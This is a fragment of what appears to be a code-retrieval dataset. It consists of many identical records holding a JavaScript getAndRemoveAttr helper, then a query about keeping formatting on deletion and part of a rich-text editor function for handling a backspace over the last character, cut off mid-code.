break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" } ]
cbc19a41720e15dbcd36a77d613f1835
This retains the formatting if the last character is to be deleted. Backspace on this: a| would become | in WebKit. With this patch: |
[ { "docid": "4f8aa4770c2474fd82b496693b3e4262", "score": "0.61657333", "text": "function handleLastBlockCharacterDelete(isForward, rng) {\n\t\t\t\tvar path, blockElm, newBlockElm, clonedBlockElm, sibling,\n\t\t\t\t\tcontainer, offset, br, currentFormatNodes;\n\n\t\t\t\tfunction cloneTextBlockWithFormats(blockElm, node) {\n\t\t\t\t\tcurrentFormatNodes = $(node).parents().filter(function(idx, node) {\n\t\t\t\t\t\treturn !!editor.schema.getTextInlineElements()[node.nodeName];\n\t\t\t\t\t});\n\n\t\t\t\t\tnewBlockElm = blockElm.cloneNode(false);\n\n\t\t\t\t\tcurrentFormatNodes = Tools.map(currentFormatNodes, function(formatNode) {\n\t\t\t\t\t\tformatNode = formatNode.cloneNode(false);\n\n\t\t\t\t\t\tif (newBlockElm.hasChildNodes()) {\n\t\t\t\t\t\t\tformatNode.appendChild(newBlockElm.firstChild);\n\t\t\t\t\t\t\tnewBlockElm.appendChild(formatNode);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tnewBlockElm.appendChild(formatNode);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tnewBlockElm.appendChild(formatNode);\n\n\t\t\t\t\t\treturn formatNode;\n\t\t\t\t\t});\n\n\t\t\t\t\tif (currentFormatNodes.length) {\n\t\t\t\t\t\tbr = dom.create('br');\n\t\t\t\t\t\tcurrentFormatNodes[0].appendChild(br);\n\t\t\t\t\t\tdom.replace(newBlockElm, blockElm);\n\n\t\t\t\t\t\trng.setStartBefore(br);\n\t\t\t\t\t\trng.setEndBefore(br);\n\t\t\t\t\t\teditor.selection.setRng(rng);\n\n\t\t\t\t\t\treturn br;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\n\t\t\t\tfunction isTextBlock(node) {\n\t\t\t\t\treturn node && editor.schema.getTextBlockElements()[node.tagName];\n\t\t\t\t}\n\n\t\t\t\tif (!rng.collapsed) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tcontainer = rng.startContainer;\n\t\t\t\toffset = rng.startOffset;\n\t\t\t\tblockElm = dom.getParent(container, dom.isBlock);\n\t\t\t\tif (!isTextBlock(blockElm)) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tif (container.nodeType == 1) {\n\t\t\t\t\tcontainer = container.childNodes[offset];\n\t\t\t\t\tif (container && container.tagName != 'BR') {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (isForward) {\n\t\t\t\t\t\tsibling = blockElm.nextSibling;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsibling = blockElm.previousSibling;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (dom.isEmpty(blockElm) && 